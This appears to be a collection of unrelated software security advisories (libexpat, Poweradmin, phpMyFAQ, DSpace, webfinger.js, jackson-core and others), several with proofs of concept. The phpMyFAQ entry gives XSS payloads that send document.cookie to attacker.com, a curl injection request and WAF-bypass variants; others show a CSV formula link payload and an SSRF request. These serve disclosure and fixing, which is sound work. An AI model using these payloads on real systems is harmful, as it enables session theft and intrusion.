libexpat before 2.8.2 has an integer overflow in doProlog that is related to storeEntityValue and entity textLen.

IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in django CMS Association django CMS Attributes Fields allows Stored XSS.This issue affects django CMS Attributes Fields: before 4.0.

ethereum is a common ethereum structs for Rust. Prior to ethereum crate v0.18.0, signature malleability (according to EIP-2) was only checked for "legacy" transactions, but not for EIP-2930, EIP-1559 and EIP-7702 transactions. This is a specification deviation. The signature malleability itself is not a security issue and not as high of a risk if the ethereum crate is used on a single-implementation blockchain. This issue has been patched in version v0.18.0. A workaround for this issue involves manually checking transaction malleability outside of the crate, however upgrading is recommended.

Description:

### Summary

Poweradmin v4.4.0 is vulnerable to CSV Injection (Formula Injection) in its log export functionality. User-controlled data — specifically the username field — is written to exported CSV files without sanitizing formula trigger characters (=, +, -, @). When an administrator exports activity logs and opens the resulting CSV in a spreadsheet application (Microsoft Excel, LibreOffice Calc, Google Sheets), any formula stored in a username is executed by the application. This can be used for phishing attacks against administrators or data exfiltration.

### Details

The vulnerability exists in all four log export controllers:

- `lib/Application/Controller/ListLogUsersController.php` (lines 188, 194)
- `lib/Application/Controller/ListLogZonesController.php`
- `lib/Application/Controller/ListLogGroupsController.php`
- `lib/Application/Controller/ListLogApiController.php`

These controllers export database rows via `fputcsv()` without applying any formula injection countermeasures. The `user` column contains the username of the actor who performed the operation, and the `username` column (in user logs) contains the username of the affected account. Both fields are written verbatim to the CSV output.

A username such as `=1+1` is written **without CSV enclosure quotes** (because it contains no commas or quotes), so spreadsheet applications treat it directly as a formula. A username containing commas or quotes (e.g. `=HYPERLINK("http://attacker.com","Click here")`) is enclosed in CSV quotes with internal quotes doubled, but spreadsheet applications still evaluate the cell value as a formula since it begins with `=`.

Additionally, PHP deprecation warnings are emitted directly into the HTTP response body before CSV headers, exposing internal file paths (e.g. `/app/lib/Application/Controller/ListLogUsersController.php`) — a secondary information disclosure issue (CWE-209). This also corrupts the CSV file when PHP error reporting is enabled.

### PoC

**Prerequisites:** An account with `user_add_new` permission (administrator role).

**Steps to reproduce:**

1. Log in as administrator.
2. Navigate to Add User and create an account with:
   - Username: `=HYPERLINK("http://attacker.com","Confirm Identity")`
   - Any valid email and password
3. Log out, then log in with the newly created account to generate a log entry.
4. Log back in as administrator.
5. Navigate to `/users/logs` and click Export CSV.
6. Open the downloaded CSV file in Microsoft Excel or LibreOffice Calc.

**Result:** Excel renders a clickable hyperlink labeled "Confirm Identity" pointing to `http://attacker.com` in the `user` column of the log entry. With the simpler username `=1+1`, the cell displays `2` instead of the literal text, confirming formula execution.

Confirmed on Poweradmin v4.4.0 (Docker image `poweradmin/poweradmin:latest`).

### Impact

This is a CSV Injection vulnerability (CWE-1236). It affects any administrator who exports activity logs to CSV and opens the file in a spreadsheet application.

**Attack scenarios:**

- **Phishing:** A malicious actor with the ability to create user accounts sets a formula username that renders as a convincing link in the exported report, tricking a higher-privileged administrator into clicking it.
- **Data exfiltration:** Using `=IMPORTXML()` in Google Sheets or similar, adjacent cell data (log contents) can be sent to an attacker-controlled server silently when the sheet is opened.

Dragonfly is an open source P2P-based file distribution and image acceleration system. Prior to 2.1.0, the gRPC API and HTTP APIs allow peers to send requests that force the recipient peer to create files in arbitrary file system locations, and to read arbitrary files. This allows peers to steal other peers’ secret data and to gain remote code execution (RCE) capabilities on the peer’s machine.This vulnerability is fixed in 2.1.0.

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

## Summary

The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.

---

## Affected Files

| File | Location | Issue |
|---|---|---|
| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` |  `(Vertical Bar) raw` disables autoescape |
| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |
| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |

---

## Details

### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape

**File:** `phpmyfaq/assets/templates/default/search.twig`

```twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
```

Twig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of `| raw` exist in `search.twig`:

```twig
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
```

Each of these constitutes an independent XSS surface if its data source is compromised.

---

### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass

**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`

```php
$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);
```

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

**Bypass walkthrough:**
```text
Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser
```
---

## Attack Chain

**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).

**Step 1 — Payload injection**

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
```html
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
```
**Step 2 — Persistence**

The payload is stored in the DB without HTML sanitization at the storage layer.

**Step 3 — Victim triggers the XSS**

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

1. Retrieves the record from the database
2. Applies `strip_tags()` → entity-encoded payload passes through
3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored
4. Passes the value to `search.twig` as `result.answerPreview`
5. Template renders with `| raw` → XSS executes

**Step 4 — Impact**

- Session cookie exfiltration → full account takeover
- Administrator session hijacking (admin visiting search page)
- Persistent attack: payload fires for every visitor until manually removed
- Potential for worm propagation via auto-created FAQ entries

---

## PoC

**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).

**Step 1 — Inject payload via FAQ editor:**

```bash
curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "attacker@example.com"
    }
  }'
```

**Step 2 — Trigger XSS as victim:**
```
https://target.example.com/search.html?search=searchable-keyword
```
The search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie.

**Alternative payloads (for WAF bypass):**

```html
&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;
```

---

## Impact

- **Confidentiality :** Session cookie exfiltration and credential theft
  via JavaScript execution in victim's browser context.
- **Integrity :** DOM manipulation, phishing overlay injection.
- **Scope :** Attack crosses from contributor privilege context
  to all site visitors, including administrators.

---

## Recommended Fix

### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig`

```diff
- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>
```

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.

### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php`

```diff
- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
```

### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig`

The following additional `| raw` instances should be reviewed and sanitized:

```twig
{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input
```

### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()`

```diff
  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )
```

---

In version v0.3.8 of open-webui/open-webui, sensitive actions such as deleting and resetting are performed using the GET method. This vulnerability allows an attacker to perform Cross-Site Request Forgery (CSRF) attacks, where an unaware user can unintentionally perform sensitive actions by simply visiting a malicious site or through top-level navigation. The affected endpoints include /rag/api/v1/reset, /rag/api/v1/reset/db, /api/v1/memories/reset, and /rag/api/v1/reset/uploads. This impacts both the availability and integrity of the application.

Local Deep Research is an AI-powered research assistant for deep, iterative research. Versions 0.2.0 through 0.6.7 stored confidential information, including API keys, in a local SQLite database without encryption. This behavior was not clearly documented outside of the database architecture page. Users were not given the ability to configure the database location, allowing anyone with access to the container or host filesystem to retrieve sensitive data in plaintext by accessing the .db file. This is fixed in version 1.0.0.

## Summary

`valibot` 1.4.1 can throw a `TypeError` inside its `flatten()` helper when validation issues contain attacker-controlled object keys such as `toString`, `valueOf`, or `hasOwnProperty`.

The issue is reachable through normal `record()` validation. `record()` intentionally filters `__proto__`, `prototype`, and `constructor`, but it still accepts other own keys that collide with inherited `Object.prototype` properties. If the record key schema or value schema rejects such an entry, Valibot creates an issue path containing that key. Passing the resulting issues to Valibot's documented `flatten()` helper causes `flatErrors.nested[dotPath]` to resolve to the inherited method instead of an own error array, and the helper calls `.push(...)` on that function.

This is not a global prototype pollution issue. The impact is availability/error handling: applications that validate user-controlled objects with `record()` and flatten validation errors for API responses can crash the request path with a `TypeError` instead of returning structured validation errors.

## Affected package

- Ecosystem: npm
- Package: `valibot`
- Affected version verified: `1.4.1`
- Fixed version: none known
- Repository: `open-circle/valibot`
- Current main ref tested by source review: `9bb6617`

## Root cause

`record()` uses `_isValidObjectKey()` before validating record entries. The helper blocks the three classic prototype pollution keys:

```ts
key !== '__proto__' &&
key !== 'prototype' &&
key !== 'constructor'
```

It does not block other inherited `Object.prototype` names such as `toString`, `valueOf`, and `hasOwnProperty`. These remain valid own JSON object keys and can appear in issue paths when either the record key schema or value schema rejects the entry.

`flatten()` then creates nested error storage with an ordinary object:

```ts
flatErrors.nested = {};
```

For a dot path such as `toString`, this check reads the inherited `Object.prototype.toString` function:

```ts
if (flatErrors.nested![dotPath]) {
  flatErrors.nested![dotPath]!.push(issue.message);
}
```

Because the inherited function is truthy, `flatten()` calls `.push(...)` on a function and throws `TypeError: flatErrors.nested[dotPath].push is not a function`.

## Impact

A remote attacker can trigger this if an application:

1. validates attacker-controlled JSON objects with `v.record(...)`;
2. receives an invalid key or invalid value under a key such as `toString`;
3. uses Valibot's `flatten(result.issues)` helper to prepare validation errors.

This is a common pattern in API/form validation: `safeParse()` collects issues and `flatten()` converts them into response-friendly error objects. Instead of a validation response, the request can hit an unexpected exception path.

The same root cause can also affect manually constructed issues or other schemas that place inherited Object property names into dot paths. I am reporting the `record()` path because it uses only public Valibot APIs and attacker-controlled JSON keys.

## Local reproduction

Run in a disposable directory:

```bash
npm install valibot@1.4.1
node poc_record_flatten_inherited_key_dos.mjs
```

Minimal example:

```js
import * as v from 'valibot';

const schema = v.record(v.string(), v.number());
const input = JSON.parse('{"toString":"not-a-number"}');

const result = v.safeParse(schema, input);
console.log(result.success); // false
console.log(result.issues[0].path.map((item) => item.key)); // ["toString"]

v.flatten(result.issues); // TypeError
```

Observed output from `valibot@1.4.1`:

```json
{
  "name": "record value schema rejects attacker-controlled value",
  "key": "toString",
  "success": false,
  "issueCount": 1,
  "firstPath": ["toString"],
  "firstMessage": "Invalid type: Expected number but received \"not-a-number\"",
  "flattened": {
    "ok": false,
    "exception": "TypeError",
    "message": "flatErrors.nested[dotPath].push is not a function"
  }
}
```

The local PoC also reproduces the same exception for `valueOf`, `hasOwnProperty`, `isPrototypeOf`, `propertyIsEnumerable`, and `toLocaleString`. A control case with an ordinary key produces normal flattened errors.

## Duplicate checks performed before submission

- npm metadata confirmed current `valibot` release is `1.4.1` and maps to `open-circle/valibot`.
- `gh api repos/open-circle/valibot/private-vulnerability-reporting` returned `{"enabled":true}`.
- `npm audit` for a clean project containing only `valibot@1.4.1` returned no vulnerabilities.
- Repository advisories and the GitHub Advisory Database only returned the historical emoji ReDoS advisory fixed in `1.2.0`.
- OSV exact-version query for npm `valibot` `1.4.1` returned no vulnerabilities.
- Public issue/PR searches for `flatten toString`, `flatten hasOwnProperty`, `record toString`, `__proto__`, `constructor`, and `prototype pollution` did not find a matching disclosure of this `record()` issue-path / `flatten()` exception.
- Reviewed related public PRs: `open-circle/valibot#67` added prototype pollution mitigation for `record()` by blacklisting `__proto__`, `prototype`, and `constructor`; it does not cover `flatten()` collisions with other inherited property names. `open-circle/valibot#1429` is an open plain-object / `record()` type semantics PR and does not disclose this `flatten()` exception behavior.

## Suggested remediation

Use null-prototype containers for flat error maps and/or perform own-property checks before appending:

- Initialize `flatErrors.nested` as `Object.create(null)`.
- Check nested entries with `Object.prototype.hasOwnProperty.call(flatErrors.nested, dotPath)` rather than truthiness.
- Consider filtering or escaping unsafe dot path segments in `getDotPath()` / `flatten()`, including inherited Object property names.
- Add regression tests for `flatten()` with paths `toString`, `valueOf`, `hasOwnProperty`, `__proto__`, `prototype`, and `constructor`.
- Consider using the same hardening for other accumulator objects that store attacker-controlled keys.

OpenClaw versions prior to 2026.2.21 fail to filter dangerous process-control environment variables from config env.vars, allowing startup-time code execution. Attackers can inject variables like NODE_OPTIONS or LD_* through configuration to execute arbitrary code in the OpenClaw gateway service runtime context.

Name: ASA-2025-001: Malicious peer can disrupt node's ability to sync via blocksync
Component: CometBFT
[OUTDATED] Criticality: Medium (Considerable Impact; Possible Likelihood per [ACMv1.2](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md))
**Update of Criticality on 2026-03-06**: We've made a mistake and over-rated the criticality of this bug in our initial triage. We have calibrated our vulnerability rating internally and updated the criticality of this bug to be Informational (Negligible Impact, Possible Likelihood)
Affected versions: <= v0.38.16, v1.0.0
Affected users: Validators, Full nodes

### Impact

A malicious peer may be able to interfere with a node's ability to sync blocks with peers via the blocksync mechanism. 

In the `blocksync` protocol peers send their `base` and `latest` heights when they connect to a new node (`A`), which is syncing to the tip of a network. `base` acts as a lower ground and informs `A` that the peer only has blocks starting from height `base`. `latest` height informs `A` about the latest block in a network. Normally, nodes would only report increasing heights:

```
B: {base: 100, latest: 1000}
B: {base: 100, latest: 1001}
B: {base: 100, latest: 1002}
...
```

If `B` fails to provide the latest block, `B` is removed and the `latest` height (target height) is recalculated based on other nodes `latest` heights.

The existing code hovewer doesn't check for the case where `B` first reports `latest` height `X` and immediately after height `Y`, where `X > Y`. For example:

```
B: {base: 100, latest: 2000}
B: {base: 100, latest: 1001}
B: {base: 100, latest: 1002}
...
```

`A` will be trying to catch up to 2000 indefinitely. Even if `B` disconnects, the `latest` height (target height) won't be recalculated because `A` "doesn't know where 2000" came from per see.

#### Impact Qualification

This condition requires the introduction of malicious code in the full node first reporting a non-existing `latest` height, then reporting lower `latest` height and nodes which are syncing using `blocksync` protocol.

### Patches

The new CometBFT releases [v1.0.1](https://github.com/cometbft/cometbft/releases/tag/v1.0.1) and [v0.38.17](https://github.com/cometbft/cometbft/releases/tag/v0.38.17) fix this issue.

Unreleased code in the main is patched as well.

### Workarounds

When the operator notices `blocksync` is stuck, they can identify the peer from which that message with "invalid" height was received. This may require increasing the logging level of the `blocksync` module. This peer can then be subsequently banned at the p2p layer as a temporary mitigation.

### References

If you have questions about Interchain security efforts, please reach out to our official communication channel at [security@interchain.io](mailto:security@interchain.io).  For more information about the Interchain Foundation’s engagement with Amulet, and to sign up for security notification emails, please see https://github.com/interchainio/security.  

A Github Security Advisory for this issue is available in the CometBFT [repository](https://github.com/cometbft/cometbft/security/advisories/GHSA-22qq-3xwm-r5x4). For more information about CometBFT, see https://docs.cometbft.com/.

EDIT:

Please notice that this has been updated to be `informational` severity.  This can be avoided by ensuring that one is not connected to a malicious peer during blocksync.

libexpat before 2.8.2 has an integer overflow in addBinding.

libexpat before 2.8.2 has an integer overflow in storeAtts.

### Impact

Two related XXE injection possibilities have been discovered, **impacting all versions of DSpace prior to 7.6.4, 8.2 and 9.1**.

1. External entities are not disabled when parsing XML files during import of an archive (in [Simple Archive Format](https://wiki.lyrasis.org/pages/viewpage.action?pageId=104566653)), either from command-line (`./dspace import` command) or from the "Batch Import (Zip)" user interface feature.  _(Likely impacts all versions of DSpace 1.x <= 7.6.3, 8.0 <= 8.1, and 9.0)_
2. External entities are also not explicitly disabled when parsing XML responses from some upstream services (ArXiv, Crossref, OpenAIRE, Creative Commons) used in [import from external sources](https://wiki.lyrasis.org/pages/viewpage.action?pageId=104566672) via the user interface or REST API. _(Impacts all versions of DSpace 7.0 <= 7.6.3, 8.0 <= 8.1 and 9.0)_

An XXE injection in these files may result in a connection being made to an attacker's site or a local path readable by the Tomcat user, with content potentially being injected into a metadata field. In the latter case, this may result in sensitive content disclosure, including retrieving arbitrary files or configurations from the server where DSpace is running or content from remote URLs. The ability to include content from a remote URL could result in a request forgery attack, and disclosure of sensitive information in the  response.

**The Simple Archive Format (SAF) importer / Batch Import (Zip) is only usable by site administrators** (from user interface / REST API) or system administrators (from command-line).  Therefore, to exploit this vulnerability, the malicious payload would have to be provided by an attacker and trusted by an administrator (who would trigger the import).
* **The most severe practical impact** is a case where an attacker obtains DSpace administrator credentials and uses the Batch Import feature with a malicious SAF archive to expose sensitive local files readable by the Tomcat user, or secrets and access tokens from an authenticated service via request forgery.
* An attacker without administrative credentials might use some other tactic to convince an administrator to import a malicious SAF archive they have supplied.

**The Import from External Sources feature has a narrower attack vector**.  While this feature is usable by any DSpace Submitter, the malicious payload must be provided *by the external source* (e.g. arXiv, Crossref, OpenAIRE, or Creative Commons).  No known method exists for an attacker to inject XXE via content uploads. Instead, the service itself would need to be compromised in such a way that it would inject a malicious payload into its API response.

### Patches

The fix is included in DSpace 7.6.4, 8.2 and 9.1. Please upgrade to one of these versions.

If you cannot upgrade immediately, it is possible to manually patch your DSpace backend. (No changes are necessary to the frontend.)  A pull request exists which can be used to patch systems running DSpace 7.6.x, 8.x or 9.0. This pull request provides central methods to retrieve Java XML, SAX, JAXB XML document builders with safe default settings, including XXE protection.
* Pull request for 7.x: https://github.com/DSpace/DSpace/pull/11032 ([Downloadable patch file](https://github.com/DSpace/DSpace/pull/11032.patch))
* Pull request for 8.x: https://github.com/DSpace/DSpace/pull/11034 ([Downloadable patch file](https://github.com/DSpace/DSpace/pull/11034.patch))
* Pull request for 9.0: https://github.com/DSpace/DSpace/pull/11035 ([Downloadable patch file](https://github.com/DSpace/DSpace/pull/11035.patch))

#### Apply the patch to your DSpace
If at all possible, we recommend upgrading your DSpace site based on the upgrade instructions. However, if you are unable to do so, you can manually apply the above patches to your DSpace backend as follows:
1. Download the appropriate patch file to the machine where DSpace backend is running
2. From the `[dspace-src]` folder, apply the patch, e.g. `git apply [name-of-file].patch`
3. Now, update your DSpace site (based loosely on the Upgrade instructions). This generally involves three steps:
    1. Rebuild DSpace, e.g. `mvn -U clean package`  (This will recompile all DSpace backend code)
    2. Redeploy DSpace, e.g. `ant update`  (This will copy all newly built code to your installation directory). Depending on your setup you also may need to copy the updated "server" webapp over to your Tomcat webapps folder.
    3. Restart Tomcat (or runnable JAR)

### Workarounds
**Patching the system is the recommended fix.** It is not possible to fully protect your system via workarounds.

That said, until you are able to patch your system or upgrade, you can apply these best practices:
* Administrators must carefully inspect any SAF archives (they did not construct themselves) before importing.  If SAF archives are too large to manually inspect, you should avoid importing them until your site is patched.
* As necessary, affected external services can be disabled (see [documentation](https://wiki.lyrasis.org/pages/viewpage.action?pageId=104566672)) to mitigate the ability for a malicious payload to be delivered via external service APIs.


### Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703)
Code fix developed by Kim Shepherd (@kshepherd) of The Library Code

### For more information
* [XXE Cheat Sheet / Explanations](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)
* If you have any questions or comments about this advisory, please contact us at [security@dspace.org](mailto:security@dspace.org)

### Description
The lookup function takes a user address for checking accounts as a feature, however, as per
the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the
security considerations section at B.3, access to Localhost services should be prevented while
running in production. The library does not prevent Localhost access (neither does it prevent
LAN addresses such as 192.168.x.x) , thus is not safe for use in production by ActivityPub
applications. The only check for localhost is done for selecting between HTTP and HTTPS
protocols, and it is done by testing for a host that starts with the string “localhost” and ends with
a port. Anything else (such as “127.0.0.1” or “localhost:1234/abc”) would not be considered
localhost for this test.

In addition, the way that the function determines the host, makes it possible to access any path
in the host, not only “/.well-known/...” paths:

```javascript
if (address.indexOf('://') > -1) {
  // other uri format
  host = address.replace(/ /g,'').split('/')[2];
} else {
  // useraddress
  host = address.replace(/ /g,'').split('@')[1];
}

var uri_index = 0; // track which URIS we've tried already
var protocol = 'https'; // we use https by default

if (self.__isLocalhost(host)) {
  protocol = 'http';
}

function __buildURL() {
  var uri = '';
  if (! address.split('://')[1]) {
  // the URI has not been defined, default to acct
    uri = 'acct:';
  }
  return protocol + '://' + host + '/.well-known/' +URIS[uri_index] + '?resource=' + uri + address;
}
```

If the address is in the format of a user address (user@host.com), the host will be anything
after the first found @ symbol. Since no other test is done, an adversary may pass a specially
crafted address such as user@localhost:7000/admin/restricted_page? and reach pages that
would normally be out of reach. In this example, the code would treat
localhost:7000/admin/restricted_page? as the host, and the created URL would be
https://localhost:7000/admin/restricted_page?/.well-known/webfinger?resource=acct:use
r@localhost:7000/admin/restricted_page?. A server listening on localhost:7000 will then
parse the request as a GET request for the page /admin/restricted_page with the query string
/.well-known/webfinger?resource=acct:user@localhost:7000/admin/restricted_page?.

### PoC and Steps to reproduce
This PoC assumes that there is a server on the machine listening on port 3000, which receives
requests for WebFinger lookups on the address /api/v1/search_user, and then calls the lookup
function in webfinger.js with the user passed as an argument. For the sake of the example we
assume that the server configured webfinger.js with tls_only=false.


1. Activate a local HTTP server listening to port 1234 with a “secret.txt” file:

```
python3 -m http.server 1234
```

2. Run the following command:

```
curl
"http://localhost:3000/api/v1/search_user?search=user@localhost:1234/secret.txt
?"
```

3. View the console of the Python’s HTTP server and see that a request for a
“secret.txt?/.well-known/webfinger?resource=acct:user@localhost:1234/secret.txt
?” file was performed.
This proves that we can redirect the URL to any domain and path we choose, including
localhost and the internal LAN.


### Impact
Due to this issue, any user can cause a server using the library to send GET requests with
controlled host, path and port in an attempt to query services running on the instance’s host or
local network, and attempt to execute a Blind-SSRF gadget in hope of targeting a known
vulnerable local service running on the victim’s machine.


### References
The vulnerability was discovered by Ori Hollander of the JFrog Vulnerability Research team.

### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

## Summary

